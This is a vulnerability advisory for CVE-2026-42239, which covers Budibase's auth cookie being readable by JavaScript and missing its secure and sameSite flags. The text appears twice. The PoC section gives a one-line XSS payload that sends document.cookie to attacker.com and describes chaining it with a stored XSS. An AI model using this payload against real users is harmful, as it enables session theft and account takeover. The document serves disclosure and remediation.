CVE-2026-42239

Budibase is an open-source low-code platform. Prior to version 3.35.10, the budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. This means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account. The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute. This issue has been patched in version 3.35.10.

Budibase is an open-source low-code platform. Prior to version 3.35.10, the budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. This means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account. The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute. This issue has been patched in version 3.35.10.

Summary

The budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.

The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute.

Details

packages/backend-core/src/utils/utils.ts, lines 215-226:

const config: SetOption = {
  expires: MAX_VALID_DATE,
  path: "/",
  httpOnly: false,     // ← JavaScript can read the session JWT
  overwrite: true,
}

if (env.COOKIE_DOMAIN) {
  config.domain = env.COOKIE_DOMAIN
}

ctx.cookies.set(name, value, config)

This function is called for setting the budibase:auth cookie which contains the signed JWT session token. With httpOnly: false, any JavaScript execution context (XSS, injected script, browser extension) can read the token via document.cookie.

Missing flags:

• httpOnly: false → should be true (prevent JS access)
• No secure flag → cookie sent over HTTP (should be secure: true for HTTPS deployments)
• No sameSite → susceptible to cross-site request attachment (should be sameSite: 'lax')

PoC

Any XSS payload can steal the session:

// Attacker's XSS payload — steals session and sends to attacker server
new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);

With httpOnly: true, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.

Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:

1. Create an entity with a name containing <script> payload
2. Any user who views that entity has their JWT stolen
3. Attacker uses the JWT for persistent account access

Impact

Every XSS vulnerability — past, present, and future — becomes a full account takeover. The httpOnly flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from "session riding" to "persistent credential theft."

This affects all Budibase deployments since the cookie configuration is hardcoded.

ATTACHMENTS

BUDIBASE-TOP10-REPORT.md

Budibase is an open-source low-code platform. Prior to version 3.35.10, the budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. This means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account. The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute. This issue has been patched in version 3.35.10.

Budibase is an open-source low-code platform. Prior to version 3.35.10, the budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. This means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account. The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute. This issue has been patched in version 3.35.10.

Summary

The budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.

The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute.

Details

packages/backend-core/src/utils/utils.ts, lines 215-226:

const config: SetOption = {
  expires: MAX_VALID_DATE,
  path: "/",
  httpOnly: false,     // ← JavaScript can read the session JWT
  overwrite: true,
}

if (env.COOKIE_DOMAIN) {
  config.domain = env.COOKIE_DOMAIN
}

ctx.cookies.set(name, value, config)

This function is called for setting the budibase:auth cookie which contains the signed JWT session token. With httpOnly: false, any JavaScript execution context (XSS, injected script, browser extension) can read the token via document.cookie.

Missing flags:

• httpOnly: false → should be true (prevent JS access)
• No secure flag → cookie sent over HTTP (should be secure: true for HTTPS deployments)
• No sameSite → susceptible to cross-site request attachment (should be sameSite: 'lax')

PoC

Any XSS payload can steal the session:

// Attacker's XSS payload — steals session and sends to attacker server
new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);

With httpOnly: true, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.

Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:

1. Create an entity with a name containing <script> payload
2. Any user who views that entity has their JWT stolen
3. Attacker uses the JWT for persistent account access

Impact

Every XSS vulnerability — past, present, and future — becomes a full account takeover. The httpOnly flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from "session riding" to "persistent credential theft."

This affects all Budibase deployments since the cookie configuration is hardcoded.

ATTACHMENTS

BUDIBASE-TOP10-REPORT.md